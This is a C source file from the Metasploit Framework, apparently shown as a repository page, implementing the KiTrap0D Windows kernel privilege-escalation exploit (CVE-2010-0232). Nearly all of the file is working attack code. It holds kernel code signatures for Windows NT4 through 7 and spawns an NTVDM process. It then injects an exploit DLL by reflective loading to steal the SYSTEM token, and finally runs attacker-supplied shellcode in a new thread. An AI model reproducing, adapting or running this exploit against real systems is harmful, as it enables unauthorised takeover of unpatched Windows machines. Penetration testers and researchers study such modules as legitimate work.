metasploit-framework/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c

498 lines
18 KiB
C
Executable File

/*!
* @file kitrap0d.c
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
* @remark Known Bugs:
* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
* - Windows 2008 Storage Server has 16-bit applications disabled by default
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <stdio.h>
#include "../common/common.h"
#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include "../common/ResourceLoader.h"
#include "resource.h"
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct
{
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct
{
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct CodeSignature
{
UCHAR Signature[16];
DWORD Version;
};
/*!
* @brief List of code signatures used when searching kernel memory.
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
*/
struct CodeSignature CodeSignatures[] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
{ "", -1 }
};
/*!
* @brief Scan the appropriate kernel image for the correct offset.
* @retval TRUE An offset was found.
* @retval FALSE An offset was not found.
*/
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = { 0 };
SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
// List of versions we have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if (!hNtdll) {
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
}
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
}
// Determine kernel version so that the correct code signature is used
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&os)) {
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
}
dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
Version = MICROSOFT_WINDOWS_NT4;
}
if (os.dwMajorVersion == 5) {
if (os.dwMinorVersion == 0) {
Version = MICROSOFT_WINDOWS_2000;
}
if (os.dwMinorVersion == 1) {
Version = MICROSOFT_WINDOWS_XP;
}
if (os.dwMinorVersion == 2) {
Version = MICROSOFT_WINDOWS_2003;
}
}
if (os.dwMajorVersion == 6) {
if (os.dwMinorVersion == 0) {
Version = MICROSOFT_WINDOWS_VISTA;
}
if (os.dwMinorVersion == 0) {
Version = MICROSOFT_WINDOWS_2008;
}
if (os.dwMinorVersion == 1) {
Version = MICROSOFT_WINDOWS_7;
}
}
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);
dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);
// Load the kernel image specified
hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
if (!hKernel) {
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
}
// Parse image headers
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);
for (x = 0;; x++)
{
if (CodeSignatures[x].Version == -1) {
break;
}
if (CodeSignatures[x].Version != Version) {
continue;
}
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);
// Scan for the appropriate signature...
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
{
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
{
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);
*OffsetFromBase = i;
FreeLibrary(hKernel);
return TRUE;
}
}
}
} while (0);
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");
if (hKernel) {
FreeLibrary(hKernel);
}
return FALSE;
}
/*!
* @brief Grab a useful Handle to NTVDM.
* @param cpProgram Path to the program to invoke.
* @param hProcess Pointer to the variable that will receive the process handle.
* @retval TRUE Handle acquisition succeeded.
* @retval TRUE Handle acquisition failed.
*/
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
{
DWORD dwResult = ERROR_SUCCESS;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
ULONG i = 0;
do
{
si.cb = sizeof(STARTUPINFO);
// Start the child process, which should invoke NTVDM...
if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
}
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);
// Get more access
*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
if (*hProcess == NULL)
{
TerminateProcess(pi.hProcess, 'SPWN');
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
}
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
} while (0);
if (dwResult == ERROR_SUCCESS) {
return TRUE;
}
return FALSE;
}
/*!
* @brief Find a suitable exe to host the exploit in.
* @param cpOutput Buffer that will contain the path to the executable which will
* host the exploit.
* @param dwOutputSize Size of the \c cpOutput buffer.
* @retval TRUE Found a valid exe to host the exploit in.
* @retval FALSE Unable to find a valid exe to host the exploit in.
*/
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
{
DWORD dwResult = ERROR_SUCCESS;
char cWinDir[MAX_PATH] = {0};
DWORD dwIndex = 0;
char * cpFiles[] = { "twunk_16.exe",
"debug.exe",
"system32\\debug.exe",
NULL };
do
{
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
while( TRUE )
{
char * cpFileName = cpFiles[dwIndex];
if( !cpFileName )
break;
if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
{
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
break;
}
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
return TRUE;
memset( cpOutput, 0, dwOutputSize );
dwIndex++;
}
} while(0);
return FALSE;
}
/*!
* @brief Helper thread function which runs the given payload directly.
* @param lpPayload The payload shellcode to execute.
* @returns \c ERROR_SUCCESS
*/
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
dprintf("[KITRAP0D] Payload thread started.");
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
/*!
* @breif Entry point for the KiTrap0D exploit.
* @remark This is known as CVE-2010-0232.
* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
* @param lpPayload Pointer to the shellcode to run on successful exploitation.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The exploit worked as expected.
* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
*/
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hVdm = NULL;
HANDLE hThread = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
char cWinDir[MAX_PATH] = { 0 };
char cVdmPath[MAX_PATH] = { 0 };
char cCommandLine[MAX_PATH] = { 0 };
DWORD dwExitCode = 0;
DWORD dwKernelBase = 0;
DWORD dwOffset = 0;
DWORD dwServiceLength = 0;
do
{
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
if (lpPayload == NULL) {
BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
}
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
}
if (!dwServiceLength || !lpServiceBuffer) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
}
// 1. first get a file path to a suitable exe...
if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
}
// 2. Scan kernel image for the required code sequence, and find the base address...
if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
}
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");
if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
}
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!lpRemoteCommandLine) {
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
}
if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
}
// inject the dll...
hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
if (!hThread) {
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
}
// 5. Wait for the thread to complete
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
WaitForSingleObject(hThread, INFINITE);
// pass some information back via the exit code to indicate what happened.
GetExitCodeThread(hThread, &dwExitCode);
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);
switch (dwExitCode)
{
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
default:
// Unknown error. Sorry, you're on your own.
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
}
} while (0);
if (hVdm)
{
TerminateProcess(hVdm, 0);
CloseHandle(hVdm);
}
if (hThread)
{
CloseHandle(hThread);
}
// if we succeeded, we need to run our payload in another thread.
if (dwResult == ERROR_SUCCESS) {
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
}
return dwResult;
}
/*!
* @brief Entry point to the exploit DLL.
* @param hinstDLL Reference to the DLL's module.
* @param dwReason The reason code for the invocation.
* @param lpReserved A reserved value, used by the exploit code.
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
* @returns \c TRUE all the time.
* @remark The \c lpReserved value contains a number which identifies which
* exploit to invoke. This needs to be passed in from MSF, otherwise
* no exploit funtionality will be invoked.
*/
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
DWORD dwExploit = 0;
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
break;
case DLL_QUERY_HMODULE:
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}